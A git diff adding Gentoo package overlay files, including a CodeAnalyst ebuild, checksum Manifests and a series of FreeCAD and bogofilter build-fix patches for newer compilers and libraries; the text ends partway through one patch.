@@ -0,0 +1,24 @@
+diff -ruN bogofilter-1.2.1-orig/src/Makefile.am bogofilter-1.2.1/src/Makefile.am
+--- bogofilter-1.2.1-orig/src/Makefile.am	2009-05-28 22:59:05.000000000 +0200
++++ bogofilter-1.2.1/src/Makefile.am	2010-06-16 22:52:36.000000000 +0200
+@@ -16,7 +16,7 @@
+ AM_CPPFLAGS = -iquote$(top_srcdir)/gnugetopt -iquote$(top_srcdir)/trio \
+ 	      -I$(srcdir) @GSL_CFLAGS@ -I$(top_srcdir)/gsl/specfunc -I$(top_srcdir)
+ else
+-AM_CPPFLAGS = -I$(top_srcdir)/gnugetopt -I$(top_srcdir)/trio -I- -I. \
++AM_CPPFLAGS = -I$(top_srcdir)/gnugetopt -I$(top_srcdir)/trio -I. \
+ 	      -I$(srcdir) @GSL_CFLAGS@ -I$(top_srcdir)/gsl/specfunc -I$(top_srcdir)
+ endif
+ 
+diff -ruN bogofilter-1.2.1-orig/src/Makefile.in bogofilter-1.2.1/src/Makefile.in
+--- bogofilter-1.2.1-orig/src/Makefile.in	2009-08-01 21:00:51.000000000 +0200
++++ bogofilter-1.2.1/src/Makefile.in	2010-06-16 22:52:23.000000000 +0200
+@@ -483,7 +483,7 @@
+ @ENABLE_MEMDEBUG_TRUE@MEMDEBUG_SRC = memdebug.c memdebug.h
+ noinst_LIBRARIES = libbogofilter.a $(am__append_3) $(am__append_5) \
+ 	$(am__append_10)
+-@USE_GCC4_FALSE@AM_CPPFLAGS = -I$(top_srcdir)/gnugetopt -I$(top_srcdir)/trio -I- -I. \
++@USE_GCC4_FALSE@AM_CPPFLAGS = -I$(top_srcdir)/gnugetopt -I$(top_srcdir)/trio -I. \
+ @USE_GCC4_FALSE@	      -I$(srcdir) @GSL_CFLAGS@ -I$(top_srcdir)/gsl/specfunc -I$(top_srcdir)
+ 
+ @USE_GCC4_TRUE@AM_CPPFLAGS = -iquote$(top_srcdir)/gnugetopt -iquote$(top_srcdir)/trio \
diff --git a/mail-filter/bogofilter/metadata.xml b/mail-filter/bogofilter/metadata.xml
new file mode 100644
index 00000000..32d2b6ec
--- /dev/null
+++ b/mail-filter/bogofilter/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>net-mail</herd>
+<longdescription>
+	Bogofilter is a mail filter that classifies mail as spam or ham (non-spam)
+	by a statistical analysis of the message's header and content (body). The
+	program is able to learn from the user's classifications and corrections.
+</longdescription>
+<use><flag name="tokyocabinet">Enable Tokyo Cabinet database support</flag></use>
+</pkgmetadata>
diff --git a/media-gfx/CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild b/media-gfx/CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild
new file mode 100644
index 00000000..d03a5330
--- /dev/null
+++ b/media-gfx/CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header:$
+
+EAPI="5"
+inherit eutils autotools
+
+DESCRIPTION="AMD Code Analyst"
+HOMEPAGE="http://developer.amd.com/"
+SRC_URI="http://developer.amd.com/wordpress/media/files/${PN}-3_4_18_0413-Public.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="X debug optimization"
+
+RDEPEND=""
+DEPEND="${DEPEND}"
+
+S="${WORKDIR}"/CodeAnalyst-3_4_18_0413-Public
+
+
+src_configure() {
+	insinto "${S}"
+	./autogen.sh || die "autogen failed"
+        econf \
+		$(use_enable debug) \
+		$(use_enable optimization) \
+		$(use_with X)
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "make install failed"
+	dodoc NEWS README AUTHORS
+	find "${D}" -name '*.la' -delete
+}
+
diff --git a/media-gfx/CodeAnalyst/Manifest b/media-gfx/CodeAnalyst/Manifest
new file mode 100644
index 00000000..d216e80d
--- /dev/null
+++ b/media-gfx/CodeAnalyst/Manifest
@@ -0,0 +1,2 @@
+DIST CodeAnalyst-3_4_18_0413-Public.tar.gz 12346064 SHA256 81158c09cb24a5ddc5c8c6619380ea5ed24a2a02ad00cc02df2a2bf78ac14ca9 SHA512 83e21bee5370fe70e87c814a4c972a4bf893cd0246587d49d905cf59f2edcc3561147789d4a0ba42fa47bb3489d5d8b422c308041f8911292dc9eb44843cb7cb WHIRLPOOL 68661faa773896548e431b3c12104f1672912e474a9f26a470833dfb1b160b9bd2d8679b7edc0de03102e672c4d4bcda4bde56b925fc53789e88eb8dc97e7485
+EBUILD CodeAnalyst-3.4.18_pre0418.ebuild 768 SHA256 aedeedfc185f72769da369416d5c8f4766b9ec6d1bddd4332c9e9b7843252454 SHA512 50a4b7ef072ce4b016a1d8507342374d1f10860303b14266efe64c9fdde0c4eead1eabbac4f6ea3a6fbb898c780e3eb18433ceeb366aa4810068bd658d65f994 WHIRLPOOL 975eca90d87f86de64cb7e3580dd64bb27e17cc705d873371fb78ad05919902e3e4c2b00f9e1c0fd155847edbc2e88bc66dd1ceb19d1ab44352da009704c9a1c
diff --git a/media-gfx/freecad/Manifest b/media-gfx/freecad/Manifest
new file mode 100644
index 00000000..cf74a467
--- /dev/null
+++ b/media-gfx/freecad/Manifest
@@ -0,0 +1,18 @@
+AUX freecad-0.12.5284-boost148.patch 849 SHA256 e87fd55562a13af12d66ab6587cf036d01b3a0a63bddb55a66ff12973b459e55 SHA512 9c1406d15546d945d59a269d65e21d06620663b46a2cff9422c08198d3b72768142e3cbc5381a22e2a0a45c436275ccf6879e3d1d09222762e06a91277f3a5e1 WHIRLPOOL a298dc1e9cc92e97387ee6e04509c9915d6351b06d18157812052e283053a919b1a5fe8248798b96845741781d98dd43df8198dddfd3ff3cad8651f0142fa17b
+AUX freecad-0.12.5284-gcc46.patch 424 SHA256 ce452c6ab373f41f0a88c3f40966ba3f942aae097134ee18273b6ff22ed6f44b SHA512 a1b5c3cd71338b73077f89fc9faa4cef04d2aa64939e0e6915c9a1c91fece09704d959de48623e88c97e1f349f3cd752face7cbf870a9d74caacfc8f3c78b12d WHIRLPOOL 92ec1fbfad75883af94c86af9ccdf851aa2cbcc999eb8bfda15aacc2a52d763943685d9ff22f92061d57a992337eaacb31f3ff6d83a7f33d12793420a5e2ee07
+AUX freecad-0.12.5284-glu.patch 441 SHA256 7375de7bd4880070afd6c45ea7c9f5c2214b4f76f028ad89c1cd013883c802e0 SHA512 6be87ede4162126db556eb21efd43bedaa7aa8aacafd5499538225b482b09f85599251e15e1af8232e39c27ebc66efd4cfc61e35f34baa6a3bbd4c47f280d0b8 WHIRLPOOL b5950e524616386dfde7ddcf032435ba1e61c70ad460098beab8157dabb1b91d3118ce9844350577e1534b5ba422240f8e5545f171f96c81f984cb6bc211c19a
+AUX freecad-0.12.5284-no-3rdParty.patch 224 SHA256 5dc5c4da1c330cd87737f2eaad7c33cc6a15e1c9f53f7be7bec9fb93350c319e SHA512 c5cbbd6db4128e8a8b95fbf86aca28e16f7aa5ee11f78403f182d1eb65f6a28f5b97d776407d3850505c4cc587744c5eb177faa55bcc654b8309f48fadaa5a17 WHIRLPOOL 8892f04209aa24c2da741a202b551c3e9f42b234f85b4636f0e12d6bf8328b84cc4f9f92db13154b9931142eb60baa4f08c8a04c01e8f76610c67de74fd992cd
+AUX freecad-0.12.5284-no-permissive.patch 1930 SHA256 a136071b66568a6976afb69b478013175d9199054b8e380ff48fb97f726c0a0e SHA512 1a97d1302e6f806b39838a89ea78a86e47e50001409d6477e28e97c3256f8719a3969e55e9025b736c3854cdae3314538919a9f972be09175c16350e41fd68f5 WHIRLPOOL 25b5c3422869b4a54c7782d69ba162cb980fbfd2e086dd9e1a5095c08905ad4592fcd92aeb3b2bd10e98bd237c710304d9a5513a5ebffac2e7a0da79f789f91a
+AUX freecad-0.12.5284-nodir.patch 776 SHA256 9ce3f5897311c4b26678d432a9f725d5469eaff855de59d97cb1fd12e320bb3b SHA512 c1e46d6945c81ab3a6fd8d5b065b9cc12cf5c42678d0a356373d6f02987969c873f86dad56858ed8cf5793a565e3193bc474cb446c5466fad23f5f6c65f58ccc WHIRLPOOL 5565b41c3104bf7c24bddfb4df87dd8c5cff65bfc7760bc77df235be25354f379c79b8a9cb88b5e6e9ba1e0b51a1da7818393f13e4b72637d901d84bbbc05701
+AUX freecad-0.12.5284-nopivy.patch 751 SHA256 3424f2630cd739ecb5ddcd7824469c44d6e89c2fe97a9e123090d7b8d04dfcfd SHA512 6b706c35acf1160de865c9122fc13cb7194134d2c2980d9d7ee1bfd81a3fed352d5b309ab5d5738ac3e4e87854c7b8a32d76ba328f32c63dd18216619eece108 WHIRLPOOL 0410d8c7d0de060b9d4f398c0e33d5390b076a2763953512176691f2afe4a63c3657ab727dfa77b1b6f7149d4fb87dddb435b2dcdddd6cc16fe04d02e129f910
+AUX freecad-0.12.5284-occ-6.5.5.patch 10602 SHA256 a4b3cc36138ee7369251d9429397129f744f71b1f521be1950a6a70bf26342ae SHA512 34bc41083e268fc41607b132d594e50d889b278e574b30d7d726cdb1aea53e57656d7070c85e32345b67874218c62e9b01e47c1ec2ee186efea7930651fb224f WHIRLPOOL 31890be32775b6c0b133106ce1c0f05ce22be79bd3daf5a12bb7f0cb89f69a7c6f2de4fd2cc5aa80d74109092512332499eb203e5795dcb36addebe75235d53c
+AUX freecad-0.12.5284-qt3support.patch 1819 SHA256 a04ffcbeefe04e52a771fbb93467e32392d2bdb41b59bda41d45c3018f6c0eef SHA512 5f0436ee705f924c0beef0fe7dfcd104c7e8f220dbfb59965ec340c01e7e30bb2e459c2fbc787b4f67a60913d86ae771029e8239597766da71f14d51286844a6 WHIRLPOOL c55ed752206aa9605007c54a34250cb17bc3c5818d6cf80eac36ef7f33dcc90a66ef5d501e5d07b4bdb9ce0819357bba73b0053c02c6a4bc7547e073aa27c1f5
+AUX freecad-0.12.5284-removeoldswig.patch 5165 SHA256 a5f44ac26071e1769c0686de30bbd2ca2a5fd03cb44222a1625f23c6f5ad6fc8 SHA512 732f0fc6b15b237df0014d30763e5b6bd46ebb0afe6d83eba5f2d325a5462367ab4d8890ac2426fb5fc3092465fc076f8cc4170a7d46f4eba9e4e0fa5703307b WHIRLPOOL ba101dbb802ed1a5762b2340ccf7c38a496b0f72d1deb38ea0558942f64b84c54131f7e5ce936a4405f5c025b3bc0a08d522f6d3fd2226804f7a43f21382b436
+AUX freecad-0.12.5284-salomesmesh-occ-6.5.5.patch 8617 SHA256 2ebcf2a5a81a2613d598f2eae56c87b0474b0bcac9d1b17038b71ff33c699d27 SHA512 ab1964d9a470f1edf0ce01ac67626b920a1be3f85f404e95c21122f5b69302d7b4faa41f10a648919793245cbd4ccbc804b723c59915ebe0c8011fc7fe4a9406 WHIRLPOOL dc7072b3edca746ae24b0c539753cd6f0c463ad803c222bc83f88cc3d02c9f97caa6074e95d7ff0da287a2f334633a1201cc993720c231e1e31f69d9fd240987
+AUX freecad-0.13.1830-remove-qt3-support.patch 1165 SHA256 dab93f53d16aa2b22a4c97203efb3dbe87562c7afeb6d3a3bef3f26492344f59 SHA512 479d2b5f1e5e8a1d0ffac6eb0ae3ef913530a700cabbee160471c131b1a898063be9feebb38e8870691da9d81e66924784e157a524339103713a2691ce3e6ae5 WHIRLPOOL 28c78c61de550964d6e12033bcf53876eeff2e474af67f6274f6eb0734ede7d00adb4bcd7e0a16556a1a90660c1a15d9ebf1e1b245da5bb377ccb7824d26224b
+DIST freecad-0.12.5284.tar.gz 48399004 SHA256 45486c6cc3ae212fd3eba994c603fd97962c7f505bf2a807d1533f9ee6d6026d SHA512 f1fee73ae7b43e7b3a136847f0dbb0b3f3e8f62ad3a9063f759efd8b9ed5a0dfff54961870465f37c0563161c4c5e2821f1f3379ead72dbdeddae36702e2ec0a WHIRLPOOL 7a46119d86a5d43ae8eaec6b5532e4739d54b0443769381630e644aa16c3f4185b63b513e4350c7562beacd86d56a7edbb3b506d10cb54190cbeaab48a504d5f
+DIST freecad-0.13.1830.tar.gz 70168706 SHA256 550ed16225e4cd67a463ae9b826f3a64edf7d2819cc8d235b15a89e10be72f13 SHA512 3e8d4eed8cace38da9615965f79a2b0da21d31a6df793ceaf3f732e0abd5666e9715ec9eb162e6ff998718e8d609a7dff2d0993b28f493200b734318a2322160 WHIRLPOOL 6d41565423edf8a0c67901a8559600ff1088f645c3ecb4aad8d7597490522f80d6475af3e7f5a623fc30b4d1571187bf6e6a132e6c480825798b957bea90bb83
+EBUILD freecad-0.12.5284-r2.ebuild 2097 SHA256 419b512d16428711c64a8c46f8b3d0ddde058d6cf95de09d5be2af793426df70 SHA512 0d6fee89ff0430d5dac2ed4222cc40f4c1777e1658fea642d04423f096b5c032137428508c308ad3f7fa4155240e9ed8752f07d5947514b7386afe777b37a15d WHIRLPOOL 6a5717f4e476c53586e85b6515bb91927568a379d15a218e3197c7b6e0fae5770ddf2c302cf575337f3d29effdbad8782f543577b578b0a1103490943657d2e4
+EBUILD freecad-0.12.5284-r3.ebuild 3609 SHA256 9cc9c805d6954bd0b0caabf29e8a7656bf048727f676fffd18c1dc44656ab3b7 SHA512 d1bb677c2d6053987ea9803f397ca70664ae997f8a06d82edea8b5f9614d4df5c91a8eea2d524ea2cb96a6186f35fb39d475b6e0395fff63b22b6b67a12c3ff0 WHIRLPOOL 9699600c2ed444bdd4fe3fa70b272011509b54f273cab9df4139f37cd09eb947a505ad502e9a21b7782e272e76c734339743cda76a4fd11eb02796a40e767be2
+EBUILD freecad-0.13.1830.ebuild 2209 SHA256 856b8f575926dbc9f8da985e4e97d622dc5e464a3e86871e48efb7a704a2c796 SHA512 aa8c174b800911b3db2ec5d05c5df3bd4b6edce65fc0253ccc7cd9cc3aee47d96b1e58ad94ed9097b716817d3d0460873b5a66ab072c062d1d5ff505c64921f2 WHIRLPOOL 3cb896e16c8ee161ec1b0f63853d2d69c04bcbfaa734b007bdf069dff01601d0b49971d582b044102a06aaa3a43a2a4ba94ee4c20eaaa8222fb15aba857426ff
+EBUILD freecad-9999.ebuild 2462 SHA256 3d39ef3e65000125c93cd066664bc23eb55241a697a6154f3ba5844bf154f0a6 SHA512 0d4765d59a689b4eecbe9cbe0e2ef5200776e4d14e0fcb311d0b798d4174ef4f6be5e81d8080a033d0b91190f4b101475fa03f655b7e2266e3e751cc160f8167 WHIRLPOOL 1bb6d2405f61556fb535f13b6953f483b8cc74220414c94d8772c5705ab2393595c42f19e35144dc6e9b5da92fe7ebf3696234989825783673fe235cd005c642
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-boost148.patch b/media-gfx/freecad/files/freecad-0.12.5284-boost148.patch
new file mode 100644
index 00000000..4c9c7355
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-boost148.patch
@@ -0,0 +1,25 @@
+From d6061d30a053617b8127c96e8c6a65e47589a182 Mon Sep 17 00:00:00 2001
+From: Werner Mayer <werner@werner-VirtualBox.(none)>
+Date: Sat, 31 Mar 2012 19:22:11 +0200
+Subject: [PATCH] #0000585: bug with boost 1.48
+
+---
+ CMakeLists.txt |    2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 920aca7..9e3bbf5 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -284,6 +284,8 @@ MARK_AS_ADVANCED(FORCE FREECAD_LIBPACK_CHECKFILE6X FREECAD_LIBPACK_CHECKFILE7X)
+         # get include dirs
+         QT4_GET_MOC_FLAGS(moc_flags)
+         QT4_EXTRACT_OPTIONS(moc_files moc_options ${ARGN})
++        # fixes bug 0000585: bug with boost 1.48
++        SET(moc_options ${moc_options} -DBOOST_TT_HAS_OPERATOR_HPP_INCLUDED)
+ 
+         foreach(it ${moc_files})
+             get_filename_component(it ${it} ABSOLUTE)
+-- 
+1.7.9.2
+
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-gcc46.patch b/media-gfx/freecad/files/freecad-0.12.5284-gcc46.patch
new file mode 100644
index 00000000..df2fb191
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-gcc46.patch
@@ -0,0 +1,11 @@
+diff -ruN FreeCAD-0.11.4422.orig/src/zipios++/directory.h FreeCAD-0.11.4422/src/zipios++/directory.h
+--- FreeCAD-0.11.4422.orig/src/zipios++/directory.h	2011-02-11 01:48:21.000000000 +0100
++++ FreeCAD-0.11.4422/src/zipios++/directory.h	2011-11-13 22:11:27.000000000 +0100
+@@ -31,6 +31,7 @@
+ #include <string>
+ #include <ctime>
+ #include <stdexcept>
++#include <cstddef>
+ 
+ // #include <boost.h>  Contents of boost.h
+ 
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-glu.patch b/media-gfx/freecad/files/freecad-0.12.5284-glu.patch
new file mode 100644
index 00000000..95672153
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-glu.patch
@@ -0,0 +1,12 @@
+diff -ruN FreeCAD-0.12.5284.orig/src/Mod/Image/Gui/GLImageBox.cpp FreeCAD-0.12.5284/src/Mod/Image/Gui/GLImageBox.cpp
+--- FreeCAD-0.12.5284.orig/src/Mod/Image/Gui/GLImageBox.cpp	2012-01-03 13:24:30.000000000 +0100
++++ FreeCAD-0.12.5284/src/Mod/Image/Gui/GLImageBox.cpp	2012-01-06 10:26:38.000000000 +0100
+@@ -27,6 +27,8 @@
+ # include <GL/glext.h>
+ #endif
+ 
++#include <GL/glu.h>
++
+ #include "GLImageBox.h"
+ 
+ using namespace ImageGui;
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-no-3rdParty.patch b/media-gfx/freecad/files/freecad-0.12.5284-no-3rdParty.patch
new file mode 100644
index 00000000..d5797567
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-no-3rdParty.patch
@@ -0,0 +1,9 @@
+--- FreeCAD-0.12.5284/src/CMakeLists.txt
++++ FreeCAD-0.12.5284/src/CMakeLists.txt
+@@ -1,6 +1,5 @@
+ 
+ add_subdirectory(Build)
+-add_subdirectory(3rdParty)
+ add_subdirectory(Base)
+ add_subdirectory(App)
+ add_subdirectory(Main)
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-no-permissive.patch b/media-gfx/freecad/files/freecad-0.12.5284-no-permissive.patch
new file mode 100644
index 00000000..d19a92f4
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-no-permissive.patch
@@ -0,0 +1,40 @@
+--- FreeCAD-0.12.5284/src/Mod/Mesh/App/WildMagic4/Wm4Query2Filtered.inl
++++ FreeCAD-0.12.5284/src/Mod/Mesh/App/WildMagic4/Wm4Query2Filtered.inl
+@@ -55,7 +55,7 @@
+     Real fLen1 = Math<Real>::Sqrt(fX1*fX1 + fY1*fY1);
+     Real fScaledUncertainty = m_fUncertainty*fLen0*fLen1;
+ 
+-    Real fDet2 = Det2(fX0,fY0,fX1,fY1);
++    Real fDet2 = this->Det2(fX0,fY0,fX1,fY1);
+     if (Math<Real>::FAbs(fDet2) >= fScaledUncertainty)
+     {
+         return (fDet2 > (Real)0.0 ? +1 : (fDet2 < (Real)0.0 ? -1 : 0));
+@@ -93,7 +93,7 @@
+     Real fLen2 = Math<Real>::Sqrt(fD2x*fD2x + fD2y*fD2y + fZ2*fZ2);
+     Real fScaledUncertainty = m_fUncertainty*fLen0*fLen1*fLen2;
+ 
+-    Real fDet3 = Det3(fD0x,fD0y,fZ0,fD1x,fD1y,fZ1,fD2x,fD2y,fZ2);
++    Real fDet3 = this->Det3(fD0x,fD0y,fZ0,fD1x,fD1y,fZ1,fD2x,fD2y,fZ2);
+     if (Math<Real>::FAbs(fDet3) >= fScaledUncertainty)
+     {
+         return (fDet3 < (Real)0.0 ? 1 : (fDet3 > (Real)0.0 ? -1 : 0));
+--- FreeCAD-0.12.5284/src/Mod/Mesh/App/WildMagic4/Wm4Query3Filtered.in
++++ FreeCAD-0.12.5284/src/Mod/Mesh/App/WildMagic4/Wm4Query3Filtered.inl
+@@ -62,7 +62,7 @@
+     Real fLen2 = Math<Real>::Sqrt(fX2*fX2 + fY2*fY2 + fZ2*fZ2);
+     Real fScaledUncertainty = m_fUncertainty*fLen0*fLen1*fLen2;
+ 
+-    Real fDet3 = Det3(fX0,fY0,fZ0,fX1,fY1,fZ1,fX2,fY2,fZ2);
++    Real fDet3 = this->Det3(fX0,fY0,fZ0,fX1,fY1,fZ1,fX2,fY2,fZ2);
+     if (Math<Real>::FAbs(fDet3) >= fScaledUncertainty)
+     {
+         return (fDet3 > (Real)0.0 ? +1 : (fDet3 < (Real)0.0 ? -1 : 0));
+@@ -115,7 +115,7 @@
+     Real fLen3 = Math<Real>::Sqrt(fD3x*fD3x+fD3y*fD3y+fD3z*fD3z+fW3*fW3);
+     Real fScaledUncertainty = m_fUncertainty*fLen0*fLen1*fLen2*fLen3;
+ 
+-    Real fDet4 = Det4(fD0x,fD0y,fD0z,fW0,fD1x,fD1y,fD1z,fW1,fD2x,
++    Real fDet4 = this->Det4(fD0x,fD0y,fD0z,fW0,fD1x,fD1y,fD1z,fW1,fD2x,
+         fD2y,fD2z,fW2,fD3x,fD3y,fD3z,fW3);
+ 
+     if (Math<Real>::FAbs(fDet4) >= fScaledUncertainty)
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-nodir.patch b/media-gfx/freecad/files/freecad-0.12.5284-nodir.patch
new file mode 100644
index 00000000..3e9bbedb
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-nodir.patch
@@ -0,0 +1,21 @@
+diff -ruN FreeCAD-0.12.5284.orig/src/Mod/CMakeLists.txt FreeCAD-0.12.5284/src/Mod/CMakeLists.txt
+--- FreeCAD-0.12.5284.orig/src/Mod/CMakeLists.txt	2012-01-03 13:26:12.000000000 +0100
++++ FreeCAD-0.12.5284/src/Mod/CMakeLists.txt	2012-01-06 12:19:06.000000000 +0100
+@@ -18,7 +18,7 @@
+     MESSAGE("Due to the missing Eigen3 library the Sketcher module won't be built")
+     MESSAGE("Due to the missing Eigen3 library the Robot module won't be built")
+ ENDIF(EIGEN3_FOUND)
+-add_subdirectory(Machining_Distortion)
++# add_subdirectory(Machining_Distortion)
+ 
+ add_subdirectory(ReverseEngineering)
+ add_subdirectory(MeshPart)
+@@ -32,7 +32,7 @@
+ 
+ add_subdirectory(Arch)
+ 
+-add_subdirectory(Assembly)
++# add_subdirectory(Assembly)
+ 
+ if(FREECAD_BUILD_CAM)
+     add_subdirectory(Cam)
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-nopivy.patch b/media-gfx/freecad/files/freecad-0.12.5284-nopivy.patch
new file mode 100644
index 00000000..337348aa
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-nopivy.patch
@@ -0,0 +1,17 @@
+diff -ruN FreeCAD-0.12.5284.orig/src/3rdParty/CMakeLists.txt FreeCAD-0.12.5284/src/3rdParty/CMakeLists.txt
+--- FreeCAD-0.12.5284.orig/src/3rdParty/CMakeLists.txt	2012-01-03 13:30:19.000000000 +0100
++++ FreeCAD-0.12.5284/src/3rdParty/CMakeLists.txt	2012-01-07 15:57:52.000000000 +0100
+@@ -19,13 +19,6 @@
+ #   add_subdirectory(Pivy)
+ #endif(MINGW)
+ # applies for Unix, MinGW and Windows with custom LibPack
+-elseif(FREECAD_BUILD_GUI)
+-    find_path(COIN_VERSION3 Inventor/scxml/ScXML.h ${COIN3D_INCLUDE_DIR})
+-    if (COIN_VERSION3)
+-    add_subdirectory(Pivy-0.5)
+-    else (COIN_VERSION3)
+-    add_subdirectory(Pivy)
+-    endif(COIN_VERSION3)
+ endif(FREECAD_BUILD_GUI AND FREECAD_LIBPACK_CHECKFILE6X)
+ 
+ # For Windows we have all stuff in the LibPack
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-occ-6.5.5.patch b/media-gfx/freecad/files/freecad-0.12.5284-occ-6.5.5.patch
new file mode 100644
index 00000000..1886f8ec
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-occ-6.5.5.patch
@@ -0,0 +1,224 @@
+--- FreeCAD-0.12.5284/src/Mod/Part/App/TopoShape.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/TopoShape.cpp
+@@ -1370,7 +1370,7 @@
+ 
+     //circular profile
+     Handle(Geom_Circle) aCirc = new Geom_Circle (gp::XOY(), 1.0);
+-    aCirc->Rotate (gp::OZ(), Standard_PI/2.);
++    aCirc->Rotate (gp::OZ(), M_PI/2.);
+ 
+     //perpendicular section
+     Handle(BRepAdaptor_HCurve) myPath = new BRepAdaptor_HCurve(path_adapt);
+@@ -1469,12 +1469,12 @@
+         }
+ 
+         gp_Pnt2d aPnt(0, 0);
+-        gp_Dir2d aDir(2. * PI, pitch);
++        gp_Dir2d aDir(2. * M_PI, pitch);
+         gp_Ax2d aAx2d(aPnt, aDir);
+ 
+         Handle(Geom2d_Line) line = new Geom2d_Line(aAx2d);
+         gp_Pnt2d beg = line->Value(0);
+-        gp_Pnt2d end = line->Value(sqrt(4.0*PI*PI+pitch*pitch)*(height/pitch));
++        gp_Pnt2d end = line->Value(sqrt(4.0*M_PI*M_PI+pitch*pitch)*(height/pitch));
+         Handle(Geom2d_TrimmedCurve) segm = GCE2d_MakeSegment(beg , end);
+ 
+         TopoDS_Edge edgeOnSurf = BRepBuilderAPI_MakeEdge(segm , surf);
+@@ -1772,7 +1772,7 @@
+     Standard_Real x3, y3, z3;
+ 
+     Handle_StlMesh_Mesh aMesh = new StlMesh_Mesh();
+-    StlTransfer::BuildIncrementalMesh(this->_Shape, accuracy, aMesh);
++    StlTransfer::BuildIncrementalMesh(this->_Shape, accuracy, false, aMesh);
+     StlMesh_MeshExplorer xp(aMesh);
+     for (Standard_Integer nbd=1;nbd<=aMesh->NbDomains();nbd++) {
+         for (xp.InitTriangle (nbd); xp.MoreTriangle (); xp.NextTriangle ()) {
+--- FreeCAD-0.12.5284/src/Mod/Part/App/FeatureRevolution.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/FeatureRevolution.cpp
+@@ -71,7 +71,7 @@
+     try {
+         // Now, let's get the TopoDS_Shape
+         TopoDS_Shape revolve = base->Shape.getShape().revolve(gp_Ax1(pnt, dir),
+-            Angle.getValue()/180.0f*Standard_PI);
++            Angle.getValue()/180.0f*M_PI);
+         if (revolve.IsNull())
+             return new App::DocumentObjectExecReturn("Resulting shape is null");
+         this->Shape.setValue(revolve);
+--- FreeCAD-0.12.5284/src/Mod/Part/App/PrimitiveFeature.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/PrimitiveFeature.cpp
+@@ -263,9 +263,9 @@
+         return new App::DocumentObjectExecReturn("Radius of sphere too small");
+     try {
+         BRepPrimAPI_MakeSphere mkSphere(Radius.getValue(),
+-                                        Angle1.getValue()/180.0f*Standard_PI,
+-                                        Angle2.getValue()/180.0f*Standard_PI,
+-                                        Angle3.getValue()/180.0f*Standard_PI);
++                                        Angle1.getValue()/180.0f*M_PI,
++                                        Angle2.getValue()/180.0f*M_PI,
++                                        Angle3.getValue()/180.0f*M_PI);
+         TopoDS_Shape ResultShape = mkSphere.Shape();
+         this->Shape.setValue(ResultShape);
+     }
+@@ -321,9 +321,9 @@
+         gp_Ax2 ax2(pnt,dir);
+         BRepPrimAPI_MakeSphere mkSphere(ax2,
+                                         Radius2.getValue(), 
+-                                        Angle1.getValue()/180.0f*Standard_PI,
+-                                        Angle2.getValue()/180.0f*Standard_PI,
+-                                        Angle3.getValue()/180.0f*Standard_PI);
++                                        Angle1.getValue()/180.0f*M_PI,
++                                        Angle2.getValue()/180.0f*M_PI,
++                                        Angle3.getValue()/180.0f*M_PI);
+         Standard_Real scale = Radius1.getValue()/Radius2.getValue();
+         gp_Dir xDir = ax2.XDirection();
+         gp_Dir yDir = ax2.YDirection();
+@@ -380,7 +380,7 @@
+     try {
+         BRepPrimAPI_MakeCylinder mkCylr(Radius.getValue(),
+                                         Height.getValue(),
+-                                        Angle.getValue()/180.0f*Standard_PI);
++                                        Angle.getValue()/180.0f*M_PI);
+         TopoDS_Shape ResultShape = mkCylr.Shape();
+         this->Shape.setValue(ResultShape);
+     }
+@@ -429,7 +429,7 @@
+         BRepPrimAPI_MakeCone mkCone(Radius1.getValue(),
+                                     Radius2.getValue(),
+                                     Height.getValue(),
+-                                    Angle.getValue()/180.0f*Standard_PI);
++                                    Angle.getValue()/180.0f*M_PI);
+         TopoDS_Shape ResultShape = mkCone.Shape();
+         this->Shape.setValue(ResultShape);
+     }
+@@ -498,9 +498,9 @@
+ #else
+         BRepPrimAPI_MakeTorus mkTorus(Radius1.getValue(),
+                                       Radius2.getValue(),
+-                                      Angle1.getValue()/180.0f*Standard_PI,
+-                                      Angle2.getValue()/180.0f*Standard_PI,
+-                                      Angle3.getValue()/180.0f*Standard_PI);
++                                      Angle1.getValue()/180.0f*M_PI,
++                                      Angle2.getValue()/180.0f*M_PI,
++                                      Angle3.getValue()/180.0f*M_PI);
+         const TopoDS_Solid& ResultShape = mkTorus.Solid();
+ #endif
+         this->Shape.setValue(ResultShape);
+--- FreeCAD-0.12.5284/src/Mod/Part/App/AppPartPy.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/AppPartPy.cpp
+@@ -492,7 +492,7 @@
+             d.SetCoord(vec.x, vec.y, vec.z);
+         }
+         Handle_Geom_Plane aPlane = new Geom_Plane(p, d);
+-        BRepBuilderAPI_MakeFace Face(aPlane, 0.0, length, 0.0, width);
++        BRepBuilderAPI_MakeFace Face(aPlane, 0.0, length, 0.0, width, Precision::Confusion());
